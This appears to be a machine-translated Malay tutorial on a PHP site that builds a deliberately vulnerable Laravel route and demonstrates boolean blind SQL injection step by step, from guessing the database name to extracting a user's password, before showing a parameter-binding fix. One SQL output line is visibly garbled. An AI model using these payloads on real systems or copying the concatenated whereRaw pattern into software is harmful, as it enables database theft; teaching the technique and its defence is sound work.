Rumah > rangka kerja php > Laravel > Menghuraikan prinsip suntikan buta SQL melalui contoh kelemahan laravel

Menghuraikan prinsip suntikan buta SQL melalui contoh kelemahan laravel

WBOY
Lepaskan: 2022-07-27 10:57:33
ke hadapan
2557 orang telah melayarinya

Artikel ini membawakan anda pengetahuan yang berkaitan tentang laravel terutamanya cara menerangkan prinsip suntikan buta SQL dengan mencipta kelemahan laravel Yang dipanggil suntikan buta bermakna tiada tindak balas ralat pelayan. Mari kita lihat serangan suntikan selesai apabila memaparkannya. Saya harap ia akan membantu semua orang.

Menghuraikan prinsip suntikan buta SQL melalui contoh kelemahan laravel

[Cadangan berkaitan: tutorial video laravel]

Persekitaran

composer create-project laravel/laravel lar9 // 安装laravel9
// 编辑.env  修改为DEBUG=false 配置数据库
DEBUG=false
DB_HOST=....
php artisan migrate
php artisan serve // 启动
// 插入数据
insert into users(`name`,`email`,`password`) values('xxh','4******qq.com','worldhello');
Salin selepas log masuk

Buat Kerentanan

// routes/web.php
Route::get('/', function () {
 $id = request()->id;
 $user = \App\Models\User::whereRaw('id = '.$id)->first();
 return $user->name ?? '';
});
// 最后转换的sql是: select * from users where id = $id
Salin selepas log masuk

Ujian

http://127.0.0.1:8000/?id=1'
// 500
http://127.0.0.1:8000/?id=1 and 1=2
// select * from users where id = 1 and 1=2; 返回空
http://127.0.0.1:8000/?id=1 and 1=1 
// select * from users where id = 1 and 1=1 返回xxh
Salin selepas log masuk

Langkah

Nama Pangkalan Data

Teka panjang nama data

url: http://127.0.0.1:8000/?id=1 and length(database()) = 1
select * from users where id = 1 and length(database()) = 1
select * from users where id = 1 and length(database()) = 2
// 一直循环下去
Salin selepas log masuk

Teka nama pangkalan data

从第一步 知道了数据库名长度
`select * from users where id = 1 and substr(database(),1,1) =a` 
`select * from users where id = 1 and substr(database(),1,1) =b` 
// 一直循环下去 找到数据库名的第一个做字符  然后找第二个字符  直到找完数据库名的长度
Salin selepas log masuk

Akhir sekali: laravel_project

Nama jadual

Langkah berikut adalah serupa dengan meneka pangkalan data, jadi saya hanya akan menerangkannya secara ringkas.

information_schema

information_schema disertakan dengan mysql

Nama pangkalan data, nama jadual, jenis lajur, dsb. semuanya direkodkan menunjukkan bahawa anda perlu mendapatkannya daripada pangkalan data ini.

Teka bilangan jadual dalam laravel_project

url:   http://127.0.0.1:8000/?id=1 and (select count(*) from information_schema.tables where table_schema ="laravel_project" ) = 5
mysql> select count(*) from information_schema.tables where table_schema ="laravel_projeelect count(column_name) from information_schema.columns where table_name= ’usersct";
+----------+
| count(*) |
+----------+
|        5 |
+----------+
Salin selepas log masuk

Teka panjang nama jadual pertama

Dengan [ Teka Panjang nama data] Tidak banyak.

Teka nama jadual pertama

url:   http://127.0.0.1:8000/?id=1 and ( select substr(table_name,1,1) from information_schema.tables where table_schema ="laravel_project" limit 0,1) = 'f'
mysql> select substr(table_name,1,1) from information_schema.tables where table_schema ="laravel_project" limit 0,1;
+------------------------+
| substr(table_name,1,1) |
+------------------------+
| f                      |
+------------------------+
// 得出第一个表的第一个字段是f  然后查第
Salin selepas log masuk

Akhirnya nama jadual pertama ialah: failed_jobs

Teka medan

Logiknya sama seperti meneka jadual.

select count(column_name) from information_schema.columns where table_name= 'failed_jobs'; //  fail_jobs字段总数
Salin selepas log masuk

Teka data

Data ialah perkara yang paling penting.

Oleh kerana failed_jobs tidak mempunyai data, saya menukarnya kepada pengguna.

pengguna mempunyai medan kata laluan.

mysql> select substr((select password from users limit 0,1),1,1);
+----------------------------------------------------+
| substr((select password from users limit 0,1),1,1) |
+----------------------------------------------------+
| w                                                  |
+----------------------------------------------------+
得出第一个是w,存起来,最后判断 
mysql> select substr((select password from users limit 0,1),1,2);
+----------------------------------------------------+
| substr((select password from users limit 0,1),1,2) |
+----------------------------------------------------+
| wo                                                 |
+----------------------------------------------------+
第二个值为o
用第一个值 + 第二个值作为盲注
Salin selepas log masuk

......

Pertahanan

(Kadang-kadang di mana tidak memenuhi keperluan, anda perlukan whereRaw)

Jika perlu, ingat untuk mengikat.

Route::get('/', function () {
 $id = request()->id;
 $user = \App\Models\User::whereRaw('id = ?',[$id])->first();
 return $user->name ?? '';
});
Salin selepas log masuk

Selagi anda menggunakan rangka kerja dengan selamat, tidak akan ada kelemahan.

Projek lama itu penuh dengan kelemahan.

Pada zaman ini, mencari kelemahan adalah sukar untuk dicapai.

Ps

Demi kesederhanaan, carian termudah digunakan di atas.

Anotasi buta manual harus menggunakan carian binari.

select * from users where id = 1 and  substr(database(),1,1) ='a';
换成二分:
 select * from users where id = 1 and  ascii(substr(database(),1,1)) > 99;
Salin selepas log masuk

Sebaik-baiknya gunakan alat sqlmap untuk mengimbas keluar terus.

[Cadangan berkaitan: tutorial video laravel]

Atas ialah kandungan terperinci Menghuraikan prinsip suntikan buta SQL melalui contoh kelemahan laravel. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

Label berkaitan:
sumber:learnku.com
Kenyataan Laman Web ini
Kandungan artikel ini disumbangkan secara sukarela oleh netizen, dan hak cipta adalah milik pengarang asal. Laman web ini tidak memikul tanggungjawab undang-undang yang sepadan. Jika anda menemui sebarang kandungan yang disyaki plagiarisme atau pelanggaran, sila hubungi admin@php.cn
Tutorial Popular
Lagi>
Muat turun terkini
Lagi>
kesan web
Kod sumber laman web
Bahan laman web
Templat hujung hadapan